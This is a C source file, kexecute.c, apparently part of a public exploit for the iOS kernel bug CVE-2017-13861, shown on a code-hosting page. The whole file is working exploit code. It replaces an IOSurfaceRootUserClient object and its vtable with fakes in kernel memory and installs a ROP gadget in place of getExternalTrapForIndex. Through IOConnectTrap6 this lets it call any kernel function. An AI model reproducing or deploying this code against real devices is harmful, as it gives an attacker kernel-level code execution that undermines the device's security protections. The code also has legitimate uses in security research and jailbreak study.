Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/kexecute.c
Views: 11778
1#import <pthread.h>2#import "kernel_utils.h"3#import "kexecute.h"4#import "patchfinder64.h"5#import "offsetof.h"6#import "find_port.h"7#import <IOKit/IOKitLib.h>89mach_port_t PrepareUserClient(void) {10kern_return_t err;11mach_port_t UserClient;12io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));1314if (service == IO_OBJECT_NULL){15printf(" [-] unable to find service\n");16exit(EXIT_FAILURE);17}1819err = IOServiceOpen(service, mach_task_self(), 0, &UserClient);20if (err != KERN_SUCCESS){21printf(" [-] unable to get user client connection\n");22exit(EXIT_FAILURE);23}242526//27printf("[+] kexecute: got user client: 0x%x\n", UserClient);28return UserClient;29}3031// TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread32pthread_mutex_t kexecuteLock;33static mach_port_t UserClient;34static uint64_t IOSurfaceRootUserClient_Port;35static uint64_t IOSurfaceRootUserClient_Addr;36static uint64_t FakeVtable;37static uint64_t FakeClient;38const int fake_Kernel_alloc_size = 0x1000;3940void init_Kernel_Execute(void) {41UserClient = PrepareUserClient();4243// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable44IOSurfaceRootUserClient_Port = find_port_via_kmem_read(UserClient); // UserClients are just mach_ports, so we find its address4546//printf("Found port: 0x%llx\n", IOSurfaceRootUserClient_Port);4748IOSurfaceRootUserClient_Addr = KernelRead_64bits(IOSurfaceRootUserClient_Port + off_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field49//50//printf("Found addr: 0x%llx\n", IOSurfaceRootUserClient_Addr);5152uint64_t IOSurfaceRootUserClient_vtab = KernelRead_64bits(IOSurfaceRootUserClient_Addr); // vtables in C++ are at *object53//54//printf("Found vtab: 0x%llx\n", IOSurfaceRootUserClient_vtab);5556// The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one57// Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel585960// Create the vtable in the kernel memory, then copy the existing vtable into there61FakeVtable = Kernel_alloc(fake_Kernel_alloc_size);62//63//printf("Created FakeVtable at %016llx\n", FakeVtable);6465for (int i = 0; i < 0x200; i++) {66KernelWrite_64bits(FakeVtable+i*8, KernelRead_64bits(IOSurfaceRootUserClient_vtab+i*8));67}6869//70//printf("Copied some of the vtable over\n");7172// Create the fake user client73FakeClient = Kernel_alloc(fake_Kernel_alloc_size);74//75//printf("Created FakeClient at %016llx\n", FakeClient);7677for (int i = 0; i < 0x200; i++) {78KernelWrite_64bits(FakeClient+i*8, KernelRead_64bits(IOSurfaceRootUserClient_Addr+i*8));79}8081//82//printf("Copied the user client over\n");8384// Write our fake vtable into the fake user client85KernelWrite_64bits(FakeClient, FakeVtable);8687// Replace the user client with ours88KernelWrite_64bits(IOSurfaceRootUserClient_Port + off_ip_kobject, FakeClient);8990// Now the userclient port we have will look into our fake user client rather than the old one9192// Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)93KernelWrite_64bits(FakeVtable+8*0xB7, Find_add_x0_x0_0x40_ret());9495//96//printf("Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex");9798pthread_mutex_init(&kexecuteLock, NULL);99}100101void term_Kernel_Execute(void) {102KernelWrite_64bits(IOSurfaceRootUserClient_Port + off_ip_kobject, IOSurfaceRootUserClient_Addr);103Kernel_free(FakeVtable, fake_Kernel_alloc_size);104Kernel_free(FakeClient, fake_Kernel_alloc_size);105}106107uint64_t Kernel_Execute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {108pthread_mutex_lock(&kexecuteLock);109110// When calling IOConnectTrapX, this makes a call to iokit_UserClient_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex111// to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.112// This jumps to our gadget, which returns +0x40 into our fake UserClient, which we can modify. The function is then called on the object. But how C++ actually works is that the113// function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed114// through like normal.115116// Because the gadget gets the trap at UserClient+0x40, we have to overwrite the contents of it117// We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents118// (i'm not actually sure if the switch back is necessary but meh)119120uint64_t offx20 = KernelRead_64bits(FakeClient+0x40);121uint64_t offx28 = KernelRead_64bits(FakeClient+0x48);122KernelWrite_64bits(FakeClient+0x40, x0);123KernelWrite_64bits(FakeClient+0x48, addr);124uint64_t returnval = IOConnectTrap6(UserClient, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));125KernelWrite_64bits(FakeClient+0x40, offx20);126KernelWrite_64bits(FakeClient+0x48, offx28);127128pthread_mutex_unlock(&kexecuteLock);129130return returnval;131}132133134